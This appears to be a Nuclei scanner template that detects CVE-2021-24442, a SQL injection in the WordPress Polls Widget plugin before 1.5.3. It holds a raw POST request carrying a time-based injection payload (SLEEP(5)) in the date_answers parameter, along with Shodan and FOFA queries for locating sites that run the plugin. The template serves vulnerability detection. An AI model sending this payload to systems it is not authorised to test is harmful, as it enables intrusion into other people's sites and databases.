Wordpress Polls Widget < 1.5.3 - SQL Injection

id: CVE-2021-24442

info:
  name: Wordpress Polls Widget < 1.5.3 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The Poll, Survey, Questionnaire and Voting system WordPress plugin before 1.5.3 did not sanitise, escape or validate the date_answers[] POST parameter before using it in a SQL statement when sending a Poll result, allowing unauthenticated users to perform SQL Injection attacks
  impact: |
    Unauthenticated attackers can execute SQL injection to manipulate database contents, potentially gaining unauthorized access to all WordPress data including user credentials.
  remediation: Fixed in 1.5.3
  reference:
    - https://wpscan.com/vulnerability/7376666e-9b2a-4239-b11f-8544435b444a/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24442
    - https://wordpress.org/plugins/polls-widget/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24442
    cwe-id: CWE-89
    epss-score: 0.45996
    epss-percentile: 0.98817
    cpe: cpe:2.3:a:wpdevart:poll\,_survey\,_questionnaire_and_voting_system:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdevart
    product: poll\,_survey\,_questionnaire_and_voting_system
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/polls-widget/
    fofa-query: body=/wp-content/plugins/polls-widget/
    publicwww-query: "/wp-content/plugins/polls-widget/"
  tags: time-based-sqli,wpscan,cve,cve2021,wp,wp-plugin,wordpress,polls-widget,sqli,wpdevart,vkev,vuln

http:
  - raw:
      - |
        @timeout: 25s
        POST /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Forwarded-For: {{randstr}}

        question_id=1&poll_answer_securety=8df73ed4ee&date_answers%5B0%5D=SLEEP(5)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'
          - 'status_code == 200'
          - 'contains_all(body, "{\"answer_name", "vote\":")'
        condition: and